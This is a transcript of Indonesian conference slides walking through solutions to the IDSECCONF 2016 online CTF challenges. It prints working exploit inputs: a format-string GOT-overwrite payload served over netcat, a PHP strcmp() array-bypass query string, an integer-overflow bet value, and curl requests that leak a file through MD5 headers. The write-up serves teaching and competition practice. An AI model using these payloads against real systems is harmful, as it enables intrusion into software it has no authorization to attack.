muhammad abrar istiadi - how to hack #idsecconf2016 online ctf

38
How to Hack #IDSECCONF2016 CTF Online Challenges Muhammad Abrar Istiadi Malang, 24-25 September 2016

Upload: idsecconf

Post on 13-Feb-2017

178 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

How to Hack #IDSECCONF2016 CTF Online Challenges

Muhammad Abrar Istiadi

Malang, 24-25 September 2016

Page 2: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Profil

● Departemen Ilmu Komputer, Institut Pertanian Bogor● Programmer, sysadmin, assistant lecturer● [email protected] / [email protected]

● Bukan hacker● Bukan pentester● Bukan security researcher● Cuma player security CTF (@Cyber Security IPB)

Page 3: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Security CTF (Capture The Flag)

● “Game” terkait computer security:○ Anda diberi sejumlah challenge dalam berbagai topik

○ Anda harus melakukan segala cara (exploitation, kriptanalisis, reverse engineer, membuat

program, etc) untuk mendapatkan string jawaban yang disebut “flag”○ “Flag” disubmit ⇒ dapat skor ⇒ profit

● Tujuan?○ Bersenang-senang○ Mengasah technical skill○ Mendapatkan juara dan hadiah

Page 4: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

IDSECCONF 2016 CTF Online

● 9 challenge (8 solved, 1 unsolved)● Topik:

○ Binary exploitation / pwning○ Kriptografi○ Programming○ Reverse engineering○ Web app

● Tools yang digunakan:○ IDA Pro + HexRays○ Java decompiler○ Python interpreter○ GDB + PEDA○ GIMP

● Beberapa detail tidak dipaparkan di presentasi ini (silakan merujuk ke paper writeup untuk detailnya)

Page 5: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

“Kopi”Reverse Engineering

50 points

Melakukan reverse engineer terhadap suatu kode Java yang telah di-compile (*.class) untuk mencari tahu seperti apa input yang benar

Page 6: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis

● Bytecode Java (*.class) dapat dengan mudah di-decompile dengan tools (misalnya http://www.javadecompilers.com) sehingga didapatkan source code yang mirip aslinya

● Program melakukan sejumlah operasi terhadap input dengan suatu stack, kemudian digunakan untuk mengurangi suatu array integer:

● Perlu dicari tahu array integer tersebut harus dikurangi berapa

private static int buff[] = { 103, 109, 99, 106, 128, 81, 89, 126, 141, 156, 163, 241, 351, 474, 715, 1097, 1664, 2668, 4251, 6890};

Page 7: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Solusi

● Asumsi 4 huruf awal flag adalah “flag” (ASCII: 102, 108, 97, 103)● Bandingkan dengan 4 angka pertama program: 103, 109, 99, 106● Selisihnya adalah: 1, 1, 2, 3 ⇒ deret fibonacci!● Kesimpulan: kurangkan array integer di program dengan deret fibonacci

Python Console

>>> buff = [103, 109, 99, 106, 128, 81, 89, 126, 141, 156, 163, 241, 351, 474, 715, 1097, 1664, 2668, 4251, 6890]

>>> fibo = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765]

>>> key = [buff[i] - fibo[i] for i in range(len(buff))]

>>> print ''.join([chr(x) for x in key])

flag{ILikeJavainCTF}

Page 8: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

“Bit”Reverse Engineering

100 points

Melakukan reverse engineer suatu executable Linux (ELF) untuk memenangkan suatu “game” taruhan dengan memanfaatkan integer overflow

Page 9: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis

● Terdapat 2 input: angka tebakan dan jumlah taruhan○ Jika angka tebakan benar, dapat tambahan uang sejumlah taruhan○ Jika angka tebakan salah, uang dikurangi sejumlah taruhan○ Hanya satu kali input, tidak ada looping

● Disassembly & control flow graph (dengan IDA):

● Di akhir, total uang harus > 100000 supaya dapat flag

cek taruhan <= 100

cek taruhan >= 0

Page 10: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Eksperimen

● Masukkan taruhan = nilai maksimum integer 32 bit (4294967295 dalam desimal atau 11111111111111111111111111111111 dalam biner)

● Pengecekan pertama (cmp eax, 100; jg ...) atau (taruhan <= 100) lolos karena 11111111111111111111111111111111 jika dipandang sebagai signed integer (jg) adalah ‐1

● Pengecekan kedua (test rax, rax; jns ...) atau (taruhan >= 0) lolos karena 11111111111111111111111111111111 jika dimasukkan ke register rax, MSB-nya adalah 0 sehingga tidak dianggap negatif (jns)

... Dan Kamu Dengan Saldo 100BTC.Masukkan Angka Keberuntunganmu: 0Nilai Taruhanmu (BTC): 4294967295========= Hasilnya adalah...Bukan 0. Yang Benar Adalah 5381429336863665181.Kamu Kalah! (101BTC)

kalah tapi uang bertambah

Page 11: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Eksploitasi

● Dengan tebakan asal dan taruhan 4294967295, uang bertambah 1● Jika ingin uang bertambah 100001, masukkan 4294967295 - 100000 =

4294867295 sebagai nilai taruhan

$ nc 128.199.232.109 17846

++++ BITCOIN KASINO ++++!Eddy Tongsis Masuk Dengan BTC90000...Gayus Timbunan Masuk Dengan BTC100000...Dan Kamu Dengan Saldo 100BTC.Tebak Angka Yang Akan Naik - (Diatas 13)Masukkan Angka Keberuntunganmu: 0Nilai Taruhanmu (BTC): 4294867295========= Hasilnya adalah...Bukan 0. Yang Benar Adalah 1420821384614299086.====== Anda Memenangkan 100101BTCSelain Itu Akan Kami Berikan Bonus Berupaflag{Integer_H4ri_Ini}

Page 12: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

“Signal”Reverse Engineering

150 points

Melakukan reverse engineer suatu executable Linux (ELF) yang memanfaatkan Linux Signal untuk mengecek password yang benar

Page 13: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis

● Linux Signal dapat digunakan untuk intra-process communication● Program yang diberikan merespon 2 signal (hasil decompile dengan IDA):

○ Signal 8 (SIGUSR1)Handler signal ini digunakan untuk mengecek password yang dimasukkan

○ Signal 10 (SIGFPE)

Handler signal ini mengkonversi input sebagai hexadecimal menjadi angka

dan men-trigger SIGUSR1

● Fokus ke fungsi pengecekan password (di fungsi handler SIGUSR1):

● Input di-XOR harus sama dengan variabel global “password”

v2 = (int_input ^ 0x1122334455667788LL ) == password;

.data:0000000000601280 password dq 62A2A01426E579Eh

Page 14: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Solusi

● Hitung XOR antara 0x1122334455667788LL dan 0x62A2A01426E579E● Hasil XOR tersebut adalah input yang benar, namun harus dikonversi menjadi

hexadecimal (karena pada fungsi handler SIGFPE dikonversi dari hexadecimal)

● Password yang valid adalah 1708194517082016, yang sekaligus menjadi flag dari challenge ini

Python Console

>>> 0x1122334455667788 ^ 0x62A2A01426E579E1659604247215874070

>>> hex(1659604247215874070)0x1708194517082016

Page 15: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

“Sequence”Programming

100 points

Menjawab sejumlah pertanyaan tentang sekuens bilangan pada suatu remote service

Page 16: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Solusi

● Ketika pertama kali koneksi ke service, diberi pertanyaan tentang “pola token segitiga” pada indeks ke-n, yaitu bilangan segitiga ke-n

● Dapat diimplementasikan sebagai berikut dalam Python:

● (Kode untuk koneksi dan komunikasi ke service tidak ditampilkan di sini)

def tri(n): return n*(n+1)/2

Page 17: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Solusi

● Setelah pola segitiga terjawab semuanya (ada 8 pertanyaan), pertanyaan selanjutnya tentang bilangan fibonacci ke-n, dengan n cukup besar (orde ribuan)

● Implementasi dalam Python (algoritma iteratif):

● Setelah semua pertanyaan fibonacci terjawab, server memberikan flagflag{_mamat_dan_sekur_selalu_bersama_}

def fib(n): a, b = 0, 1 for _ in range(n): a, b = b, a+b return a

Page 18: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

“ECB”Crypto150 points

Melakukan recovery gambar BMP yang dienkripsi dengan algoritma AES mode operasi ECB

Page 19: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis

● Diberikan script Python yang mengenkripsi sembarang file dengan algoritma AES, mode operasi ECB

● Telah diketahui bahwa mode operasi ECB hanya mengacak data, namun tidak menyembunyikan pola, seperti contoh gambar pinguin berikut (Wikipedia)

Page 20: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis (2)

● Diberikan juga file flag.bmp.encrypted, yang diduga adalah file BMP yang mengandung flag, namun terenkripsi

● File BMP menyimpan data piksel-pikselnya sebagai raw bytes, dan tidak terkompresi

● Dengan demikian, mengenkripsi file BMP dengan mode ECB hanya akan mengubah “warna” dari piksel, tapi polanya masih dapat dilihat meskipun warnanya berubah

● Namun proses enkripsi dipastikan telah merusak header file BMP serta informasi dimensi gambarnya (lebar dan tinggi)

Page 21: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Solusi

● File BMP yang terenkripsi tersebut bisa dibuka dengan GIMP sebagai raw data● Dengan mencoba-coba, didapatkan nilai lebar yang sesuai = 1200px

replace beberapawarna dengan GIMP,dan flip vertikal

Page 22: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

“Webwob”Web

100 points

Halaman web yang meminta password namun bisa di-bypass dengan memanfaatkan kelemahan strcmp() di PHP

Page 23: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis

● Diberikan halaman web dengan satu input password● Disertakan juga source code dan logika pengecekan password-nya

● Dua kemungkinan cara untuk lolos pengecekan:○ Brute force password yang valid (hanya 4 huruf!)○ Manfaatkan kelemahan fungsi strcmp() di PHP

$pass = $_GET["password"];$ok = length($pass)==4;for ($i=0; $i<length($pass); $i++) {

if (strcmp($pass[$i], $password[$i])!=0) {$ok = false;print "invalid $i";break;

}}

Page 24: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Solusi

● Nilai $pass[$i] yang kita masukkan via $_GET harus berupa array agar lolos strcmp(), sehingga $pass harus berupa array dari array (array 2 dimensi):

● Struktur array 2 dimensi disusun dalam query parameter GET menjadi:

● Tambahkan query parameter tersebut ke alamat server dan didapatkan flag:

The Flag is: flag{AVariant_Of_Strcmp}

$pass = $_GET["password"];...strcmp($pass[$i], $password[$i])

strcmp($var1, $var2) akan bernilai true jika parameternya berupa array

$pass = array(array("a"), array("b"), array("c"), array("d"))

?password[0][0]=a&password[1][0]=b&password[2][0]=c&password[3][0]=d

Page 25: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

“Headshoot”Web

200 points

Halaman web yang tidak memberikan respon apapun selain header HTTP serta hash MD5 dari content

Page 26: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis

● Halaman web hanya menerima request dengan verb HEAD● Tidak ada content yang dikembalikan, hanya HTTP header

$ curl -v -X HEAD http://139.59.245.67:8000/flag.txt

> HEAD /flag.txt HTTP/1.1> User-Agent: curl/7.35.0> Host: 139.59.245.67:8000

< HTTP/1.0 200 OK< Content-Type: text/html; charset=utf-8< Content-MD5: T/JeCTIbbkLdlRS/YqTvHw==< X-Compatible-With: Jigsaw< Content-Length: 48< Server: Werkzeug/0.11.10 Python/2.7.6< Date: Sun, 28 Aug 2016 02:00:31 GMT

MD5 dari content, base64 encoded

tidak ditemukan di DB hash onlineukuran dari content

Page 27: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Eksperimen

● Dengan header “Range: bytes=0-1” untuk request byte pertama dari content

$ curl -v -X HEAD --header "Range: bytes=0-1" http://139.59.245.67:8000/flag.txt

> HEAD /flag.txt HTTP/1.1> User-Agent: curl/7.35.0> Host: 139.59.245.67:8000> Range: bytes=0-1

< HTTP/1.0 200 OK< Content-Type: text/html; charset=utf-8< Content-Range: bytes=0-1< Content-MD5: j6FM3XVPkcxlVMnnGSnM5w==< X-Compatible-With: Jigsaw< Content-Length: 1< Server: Werkzeug/0.11.10 Python/2.7.6< Date: Sun, 28 Aug 2016 02:04:52 GMT

nilai MD5 hash untuk huruf f

Page 28: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Solusi

1. Request satu byte ke-x dengan Range: bytes=$x-($x+1)2. Dapatkan MD5 dari content3. “Decrypt” MD5 dari content tersebut (karena hanya 1 byte / 1 huruf maka bisa

dibuat database MD5 sendiri dari setiap kemungkinan huruf)4. Didapatkan satu byte dari content5. Ulangi langkah 1 untuk request byte selanjutnya

Setelah 48 kali request (sepanjang total Content-Length asli), didapatkan content yang merupakan flag challenge ini:

flag{HaveYouEverSeenMD5ContentHeaderBeforeThis?}

Page 29: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

“Gateway”Pwning100 points

Eksploitasi format string vulnerability untuk mengontrol alur program untuk mendapatkan flag

Page 30: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis

● Program meminta masukan alamat IP dan port● Program kemudian melakukan koneksi ke IP:port, menerima data, dan

mencetak data yang diterima (fungsi pada alamat 0x4009B5)● Menggunakan printf tanpa format string ⇒ format string vulnerability

● Fungsi @0x400A98 mencetak flag, tapi “dead code” (tidak pernah dipanggil)

printf(buf);close(fd);

Page 31: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis (2)

● Program di-compile tanpa RELRO ⇒ fungsi eksternal di GOT bisa di-overwrite

● Setelah dipanggil printf(buf) yang vulnerable, dipanggil fungsi close● Dengan format string exploit, overwrite fungsi close di GOT

(0x601238 --> 0x400786) dengan fungsi untuk mencetak flag

● Sehingga ketika program memanggil fungsi close, yang tereksekusi justru fungsi untuk mencetak flag

$ checksec --file gateway

RELRO STACK CANARY NX PIE ...No RELRO No canary found NX disabled No PIE ...

Page 32: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis (3)

● Alamat overwrite (0x601238) mengandung banyak null character (\x00) jika dibuat dalam little-endian 8 byte (\x38\x12\x60\x00\x00\x00\x00\x00 )

● Alamat tersebut diletakkan di belakang payload, sehingga null character tidak berada di tengah-tengah payload

● Perlu menentukan indeks dan menambahkan padding● Mengubah 0x400786 (close di PLT yang ditunjuk oleh 0x601238 di GOT)

menjadi 0x400A98 (flag) hanya perlu mengubah 2 byte paling belakang menjadi 0x0A98 ⇒ format string %hn

%<nilai_overwrite>c%<index>$hn<padding><alamat_overwrite>

Page 33: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Payload Exploit

● Alamat overwrite = 0x601238 = \x38\x12\x60\x00\x00\x00\x00\x00● Nilai overwrite = 0x0A98 = 2712● Index = 11 (didapatkan dari debugging)● Padding = sembarang string n karakter sedemikian sehingga alamat overwrite

(merah) ada pada posisi kelipatan 8 di payload-nya; di sini digunakan n = 12

%2712c%11$hnABCDEFGHIJKL\x38\x12\x60\x00\x00\x00\x00\x00

Page 34: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Eksperimen

● Di GDB, breakpoint sebelum printf (0x400A81) dan setelahnya (0x400A8B)● Stack sebelum printf:

● Stack setelah printf, fungsi telah berubah alamatnya:

0000| 0x7fffffffbbd0 --> 0x8ae00000000 0008| 0x7fffffffbbd8 --> 0x7fffffffdc20 ("127.0.0.1")0016| 0x7fffffffbbe0 ("%2712c%11$hnABCDEFGHIJKL8\022`")0024| 0x7fffffffbbe8 ("1$hnABCDEFGHIJKL8\022`")0032| 0x7fffffffbbf0 ("EFGHIJKL8\022`")0040| 0x7fffffffbbf8 --> 0x601238 --> 0x400786 (<close@plt+6>: push 0x6)0048| 0x7fffffffbc00 --> 0x0 0056| 0x7fffffffbc08 --> 0x0

0000| 0x7fffffffbbd0 --> 0x8ae00000000 0008| 0x7fffffffbbd8 --> 0x7fffffffdc20 ("127.0.0.1")0016| 0x7fffffffbbe0 ("%2712c%11$hnABCDEFGHIJKL8\022`")0024| 0x7fffffffbbe8 ("1$hnABCDEFGHIJKL8\022`")0032| 0x7fffffffbbf0 ("EFGHIJKL8\022`")0040| 0x7fffffffbbf8 --> 0x601238 --> 0x400a98 (push rbp)0048| 0x7fffffffbc00 --> 0x0 0056| 0x7fffffffbc08 --> 0x0

close@PLT

FLAG!

Page 35: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Solusi

● Dengan payload tersebut, jika program memanggil fungsi close, fungsi flag yang justru dijalankan

● Host payload di suatu server publik:

● Kunjungi server challenge dan arahkan IP:port ke server kita tadi:

$ echo -ne '<payload_yang_tadi>' | nc -l 2222

$ nc 128.199.174.161 17866

Selamat Datang Di -HOST GATEWAY-!Masukkan Alamat IPv4 Tujuan: 103.10.105.200Masukkan Port:2222Oke, mencoba terkoneksi 103.10.105.200:2222 saat!

�ABCDEFGHIJKL8`flag{format_masa_lalU}

Page 36: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

“Auth”Reverse Engineering

300 points

Reverse engineering executable Linux (ELF) yang di-pack dan dienkripsi dengan midgetpack

UNSOLVED

Page 37: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Analisis

● Executable di-pack dengan midgetpack (https://github.com/arisada/midgetpack) dan proteksi password

● Password digunakan untuk membangkitkan masterkey dengan algoritma PBKDF2-SHA256 sebanyak 20000 iterasi

● Masterkey digunakan untuk membangkitkan key, IV, dan integrity● Key dan IV digunakan untuk mendekripsi payload (program yang

sesungguhnya) dengan algoritma AES mode CBC● Hasil dekripsi dibandingkan checksum-nya dengan integrity dengan algoritma

HMAC-SHA256● Jika checksum sesuai, jalankan payload

Bagian mana yang dapat dieksploitasi? Seluruh algoritma (enkripsi, hash, checksum) menggunakan algoritma yang kuat. Brute force tidak feasible karena panjang password-nya antara 10-16 karakter (dari hint soal).

Page 38: Muhammad Abrar Istiadi - How to hack #idsecconf2016 Online CTF

Selesai